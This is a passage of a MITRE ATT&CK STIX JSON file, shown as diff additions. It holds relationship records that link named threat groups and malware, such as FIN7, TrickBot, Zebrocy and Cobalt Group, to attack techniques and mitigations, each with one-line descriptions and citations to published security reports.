"[DealersChoice](https://attack.mitre.org/software/S0243) leverages vulnerable versions of Flash to perform execution.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b12c9b3f-bff1-4c73-bb86-a9665948405c", + "external_references": [ + { + "source_name": "Sofacy DealersChoice", + "description": "Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8f460983-1bbb-4e7e-8094-f0b5e720f658", + "relationship_type": "uses", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can use a public UAC bypass method to elevate privileges.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b9165c4a-aac7-479d-8ad9-22c25e031a76", + "external_references": [ + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + } + ], + "modified": "2019-07-14T21:15:55.046Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Equation](https://attack.mitre.org/groups/G0020) is known to have the capability to overwrite the firmware on hard drives from some manufacturers.", + "type": "relationship", + "created": "2017-05-31T21:33:27.055Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--51006a56-a1fa-4467-b930-6488de0d32bd", + "external_references": [ + { + "source_name": "Kaspersky Equation QA", + "description": "Kaspersky Lab's Global Research and Analysis Team. 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Retrieved April 17, 2019.", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + } + ], + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072)'s service-based DLL implant traverses the FTP server\u2019s directories looking for files with keyword matches for computer names or certain keywords.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6ea6ad5d-28f1-425c-a2e9-c51a12b14d87", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "modified": "2019-03-25T12:58:44.206Z", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) has used mshta.exe to execute VBScript to execute malicious code on victim systems.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9e77b81d-6298-4233-8baa-f419031a9d64", + "external_references": [ + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + } + ], + "modified": "2019-06-30T23:13:18.422Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "relationship_type": "uses", + "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-14T21:04:45.642Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.046Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d0ed3128-67f0-43dd-b1d9-01843eb71b77", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. 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Retrieved July 6, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses a custom crypter leveraging Microsoft\u2019s CryptoAPI to encrypt C2 traffic.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--71bb09bc-0405-43ed-9848-bf685234c670", + "external_references": [ + { + "source_name": "Fidelis TrickBot Oct 2016", + "description": "Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.", + "url": "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre" + } + ], + "modified": "2019-06-24T19:15:06.502Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:14:24.285Z", + "type": "relationship", + "id": "relationship--389854e8-32d1-406c-ab58-2ee2918bf7ed", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.028Z", + "source_ref": "course-of-action--514e7371-a344-4de7-8ec3-3aa42b801d52", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-22T15:08:48.547Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.034Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--325ccde0-2d5a-4306-9c4e-e1a554ee0d87", + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + }, + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[yty](https://attack.mitre.org/software/S0248) collects the victim\u2019s username.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8732cda7-068e-439d-a25a-1b056363d1f7", + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "modified": "2019-04-25T00:09:23.166Z", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) downloads encoded payloads and decodes them on the victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--03303147-db81-4cb3-9368-98ee4f963c1a", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2019-03-22T19:57:37.205Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) clears the system event logs.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6c7285ce-7ae2-4d85-a629-4f6eab659fb1", + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "modified": "2019-07-14T21:44:44.191Z", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "relationship_type": "uses", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) includes a capability to modify the \"beacon\" payload to eliminate known signatures or unpacking methods.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cf7cd81f-3684-469f-936b-a6098ff76dbd", + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "modified": "2019-06-06T19:04:39.284Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FruitFly](https://attack.mitre.org/software/S0277) will delete files on the system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--66a13868-e416-49d4-85ad-318f93f91a29", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4a98e44a-bd52-461e-af1e-a4457de87a36", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s Install-SSP Persistence module can be used to establish by installing a SSP DLL.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--be2d0ead-f24c-4b76-bdd9-695d163bcbf3", + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "modified": "2019-04-24T23:43:08.105Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "relationship_type": "uses", + "target_ref": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has cleared select event log entries.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--885cd1fe-9e7b-4e94-a6cc-01bb8ad655fd", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "modified": "2019-07-17T13:11:37.970Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:31:59.158Z", + "type": "relationship", + "id": "relationship--f4aaf7ec-7ff1-4519-bd93-3eaf3074d11f", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.030Z", + "source_ref": "course-of-action--a90da496-b460-47e8-92e7-cc36eb00bd9a", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T16:17:30.698Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--49404706-aa42-4914-a273-2eeb217e6477", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + }, + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CORESHELL](https://attack.mitre.org/software/S0137) can communicate over HTTP, SMTP, and POP3 for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--167e1e15-1fe1-4073-aac1-062557fdd79f", + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "source_name": "Microsoft SIR Vol 19", + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + } + ], + "modified": "2019-01-30T18:08:51.126Z", + "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KARAE](https://attack.mitre.org/software/S0215) can upload and download files, including second-stage malware.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2fa47765-a47e-430b-9a88-68db5795f557", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) has the capability to delete files and scripts from the victim's machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3d4a9fd6-34cb-4883-a00c-4aea3d00869e", + "external_references": [ + { + "source_name": "Unit 42 OilRig Sept 2018", + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + } + ], + "modified": "2019-04-24T23:40:23.393Z", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pisloader](https://attack.mitre.org/software/S0124) uses DNS as its C2 protocol.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--59d4e54d-66b8-4603-b189-ba67160da44d", + "external_references": [ + { + "source_name": "Palo Alto DNS Requests", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Rover](https://attack.mitre.org/software/S0090) has keylogging functionality.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f4480854-9424-49d5-8b54-f839302e3ee7", + "external_references": [ + { + "source_name": "Palo Alto Rover", + "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used exploits to increase their levels of rights and privileges.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5bd3526a-1ae2-4b09-8be7-0eef6ae33155", + "external_references": [ + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "modified": "2019-07-26T23:38:33.747Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) collects the OS version, computer name and serial number for the storage volume C:\\. [Zebrocy](https://attack.mitre.org/software/S0251) also runs the systeminfo command to gather system information.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6216dadc-095e-4550-bc01-79c79fe614ba", + "external_references": [ + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "source_name": "ESET Zebrocy Nov 2018", + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + }, + { + "source_name": "Unit42 Sofacy Dec 2018", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "modified": "2019-07-17T01:18:32.598Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) lists running processes.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6a09f442-6a2a-455a-ad8d-6aa192995de3", + "external_references": [ + { + "source_name": "FireEye CARBANAK June 2017", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:40:00.342Z", + "type": "relationship", + "id": "relationship--5978c8e0-8b60-4ad5-8fc9-9fa1ee4d7387", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.024Z", + "source_ref": "course-of-action--4b998a71-7b8f-4dcc-8f3f-277f2e740271", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) has gathered hashed user credentials over SMB using spearphishing attachments with external resource links and by modifying .LNK file icon resources to collect credentials from virtualized systems.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cb046be9-87c4-4dbd-b01f-9771aa4f2552", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "modified": "2019-03-22T20:13:49.516Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent spearphishing emails with various attachment types to corporate and personal email accounts of victim organizations. Attachment types have included .rtf, .doc, .xls, archives containing LNK files, and password protected archives containing .exe and .scr executables.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--029bdc73-5054-45eb-b9d0-e4281f69d85a", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "source_name": "PTSecurity Cobalt Group Aug 2017", + "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf" + }, + { + "source_name": "PTSecurity Cobalt Dec 2016", + "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" + }, + { + 